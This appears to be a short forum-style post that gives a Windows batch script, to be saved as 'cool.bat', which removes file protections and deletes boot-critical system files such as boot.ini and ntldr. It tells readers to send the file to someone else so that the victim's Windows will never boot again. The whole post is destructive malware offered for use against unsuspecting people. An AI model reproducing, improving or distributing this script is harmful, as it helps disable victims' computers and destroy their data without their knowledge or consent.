SHUTDOWN WINDOWS FOREVER !!!

Warning : Use it at ur own risk em not responsible 
copy the code in notepad and save it as cool.bat 

@echo off 
attrib -r -s -h c:\autoexec.bat 
del c:\autoexec.bat 
attrib -r -s -h c:\boot.ini 
del c:\boot.ini 
attrib -r -s -h c:\ntldr 
del c:\ntldr 
attrib -r -s -h c:\windows\win.ini 
del c:\windows\win.ini

Send it to someone and his window will not boot again !!!